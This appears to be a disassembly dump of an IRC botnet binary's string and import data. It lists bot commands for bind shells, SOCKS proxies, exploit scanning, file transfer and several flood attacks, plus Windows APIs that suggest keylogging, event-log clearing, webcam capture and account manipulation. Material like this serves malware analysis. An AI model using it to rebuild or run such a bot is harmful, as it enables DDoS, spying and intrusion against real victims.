aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C2B8	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
unk_42C2E0	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 10h
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 10h
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:00438004o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437C20o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42C3A4	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42C3C4	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3E8	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 10h
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 10h
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C438	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 10h
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C480	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C4B4	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C4C4	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4D4	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4E4	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4F4	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C500	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C50C	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C518	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 10h
dword_42C530	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C53C	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42C554	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C564	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 10h
dword_42C580	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C590	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C5AC	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C5B8	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C5CC	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5D8	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5E4	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5F0	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C600	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 10h
dword_42C620	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C62C	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C640	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C65C	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C678	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 10h
dword_42C6A0	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C4Co
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C74C:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42C7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42C7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C82C	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42C854	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C898	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42C8D4	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8EC	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8F4	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C910	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C91C	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C920	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 10h
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C95C	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C964	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C978	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C99C	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9F0	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA5C:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA60:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA64	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
